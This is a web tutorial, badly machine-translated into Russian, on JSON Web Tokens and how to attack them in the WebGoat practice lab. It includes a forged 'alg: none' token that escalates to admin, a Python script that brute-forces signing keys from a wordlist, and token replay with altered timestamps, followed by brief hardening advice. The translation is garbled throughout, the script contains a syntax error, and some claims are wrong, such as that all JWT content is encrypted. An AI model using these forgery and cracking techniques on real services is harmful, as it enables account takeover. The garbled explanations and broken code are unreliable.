Десять минут, которые помогут вам понять JWT (токен обхода)
Десять минут, которые помогут вам понять JWT (токен обхода)

Предисловие

копать SRC когда сталкиваешься с некоторыми SSO В сцене мы часто видим какие-то странные данные. Большинство этих данных представлены в виде трехэтапного шифрования. В дальнейшем в процессе обучения мы поняли, что имя таких токенов. Token,Я кратко узнал об этом во время моего предыдущего исследования. JWT метод презентации, а только краткий обзор его более глубокого содержания. В этой статье всесторонне объясняется, что такое. JWT,JWT Как использовать и атаковать, чтобы помочь специалистам по безопасности лучше понять механизм работы токенов сетевой безопасности. Эта статья поддерживаетдиапазон АдресWebGoatдиапазонАутентификация и отказчасть。

текст

Введение в JWT

JWT(JSON Web Токен) — это открытый стандарт (RFC 7519), который определяет краткий, автономный метод общения между двумя сторонами. JSON Безопасно передавать информацию в виде объектов. Эту информацию можно проверить и ей можно доверять, поскольку она имеет цифровую подпись. JWT обычно используется в интернет-приложениях для аутентификации и авторизации. JWT и Традиция Token Разница

JWT

Традиция Token

место хранения

JWT обычно хранится на стороне клиента.

ТрадицияизTokenнравитьсяCookiesиSession Токены обычно хранят состояние на стороне сервера.

Метод передачи

JWT передается как часть HTTP-запроса и может находиться непосредственно в заголовке запроса.

Традиционный токен обычно передается между браузерами и серверами через файлы cookie.

Управление статусами

JWT является автономным и не зависит от состояния сеанса сервера, что снижает нагрузку на сервер.

Традиционный токен обычно привязан к состоянию сеанса сервериз.,серверу необходимо хранить информацию о сеансе пользователя,Это может привести к более высокомуизсервернагрузкаи Управление статусами сложности.

Безопасностьсексиконфиденциальность

Вся информация JWT зашифрована, а разрешения можно установить так, чтобы только пользователи с правильным ключом могли декодировать информацию. Однако если ключ скомпрометирован, это может затронуть все JWT.

Не содержит конфиденциальной информации и поэтому не зашифрован.

Междоменное использование

потому что JWT не полагается на статус сервера,Информация о пользователе может запрашиваться и передаваться между разными доменами.,Подходит для междоменных запросов.

ТрадицияToken может потребовать, чтобы сервер настроил политику CORS (Cross-Origin Resource Sharing) в междоменных запросах.

Компоненты JWT

JWT состоит из трех частей:

  • Заголовок: эта часть обычно представляет собой объект JSON.,Описывает JWT алгоритм подписи и другие метаданные.
  • Полезная нагрузка: эта часть обычно представляет собой объект JSON, содержащий такие утверждения, как информация об эмитенте, информация о пользователе, срок действия и т. д.
  • Подпись: это цифровая подпись заголовка и полезной нагрузки.,Генерируется алгоритм подписи, указанный в заголовке use.,Используется для проверки целостности и подлинности JWT.

потому чтоJWT является автономным, поэтому не требует хранения состояния на сервере, что уменьшает поверхность атаки и позволяет пользователям проходить аутентификацию в системах без состояния. В то же время, потому что чтоJWT передается между клиентами и сервериз, поэтому его также легко междоменное использование。 Далее идет абзац Содержимое JWT, нам нужно найти имя пользователя в токене

Детали токена следующие:

Язык кода:javascript
копировать
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

в:

  • header частьдляeyJhbGciOiJIUzI1NiJ9
  • payloadчастьдляew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9
  • signatureчастьдля9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

Поместив его в платформу декодирования, мы сможем увидеть расшифрованный файл, узнать расшифрованное имя пользователя и пройти стрельбище.

Как работает JWT

Пользователь входит в систему с именем пользователя и паролем после успешной аутентификации на сервереиспользовать. возвращаться. Сервер создает новый токен и возвращает этот токен клиенту. Когда клиент продолжает Вызовите сервер, добавив новый токен в заголовок «Авторизация». Сервер считывает токен и сначала проверяет подпись. После успешной проверки сервер использует. Информация в токене, которая идентифицирует пользователя.

Проблемы безопасности JWT

Нулевой алгоритм шифрования

так называемыйиз“Нулевой алгоритм «шифрование» может относиться к любому алгоритму шифрования без использования JWT, что не распространено в практических приложениях, поскольку шифрование является гарантированной информацией. Однако это правда, что некоторые реализации JWTiz могут не использовать шифрование, особенно в некоторых сценариях, где требования к безопасности не очень высоки. проходить Нулевой алгоритм расшифровку, мы в основном знаем JWT первые двачастьиз Состав и способы применения,Проще говоря, это означаетheaderчастьизalgИзменить наnone,затем вsignatureчасть Ничего нельзя добиться, управляя воздухом Безопасностьиз JWT Влияние алгоритмов шифрования. Конкретный процесс выглядит следующим образом. Например, в следующих сценариях только администратор может сбросить информацию о голосовании:

На этом этапе мы перехватили пакет и обнаружили, что обычные пользователи TOM из JWTжетоннравиться Как показано ниже:

На этом этапе мы помещаем его в платформу декодирования для декодирования и можем получить первые две части:

Затем мы модифицируем пакет данных,Сначала поставьalgсерединашифрование Режим установлен наnone, а потомadminсерединаизfalseИзменить наtrue,переделывать Base64 Закодировав, получим следующее из JWT Запрос отправлен и успешен.

Язык кода:javascript
копировать
ewogICJhbGciOiAibm9uZSIKfQ.eyJpYXQiOjE3MDkyMjM1MDEsImFkbWluIjoibm9uZSIsInVzZXIiOiJUb20ifQ..

Уведомление,Хотяsignatureчастьдля空,Но его еще нужно добавить перед.номер для достижения соответствия формата,На этом этапе установите его наaccess_tokenвыполнить повтор,Обнаружил, что количество голосов обнулилось.

Сигнатурный взрыв JWT

Иногда мы можем попытаться взорвать JWT изsignatureключ,Хотя ключи зачастую случайные,Но нам нужно понять этот процесс атаки. Код взрывных работ следующий:

Язык кода:javascript
копировать
import jwt
import termcolor

if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'

    with open('top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                    jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                    jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * , '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

Токен доступа утек

Если Токен доступа утек,Мы можем сотрудничать с модификацией временных меток для выполнения вредоносных операций.,Сравниватьнравиться Однажды у нас появился пользовательизJWTжетоннравиться Вниз:

Язык кода:javascript
копировать
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

Путем расшифровки обнаруживается, что временная метка может быть изменена.,Замените его самой последней отметкой времени.,Отправить для достижения успешной аутентификации,Обратите внимание, что для этого все еще требуетсяsignatureУстановить пустым。

Подведите итог: использовать JWT Лучшее место для токена — это связь между серверами. использовать JWT Токен из Некоторые предложения:

  • Исправьте алгоритм, чтобы клиенты не могли переключать алгоритмы.
  • Подписывая токен симметричным ключом, убедитесь, что длина ключа соответствует.
  • Убедитесь, что утверждения, добавленные в токен, не содержат личной информации. Если вам нужно добавить дополнительную информацию, пожалуйста, также выберите токен шифрования.
  • Добавьте в проект достаточное количество тестовых примеров.,чтобы убедиться, что недействительный токен действительно не работает. Интеграция с третьей стороной для проверки вашего токена не означает, что вы вообще не тестируете свое приложение.
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose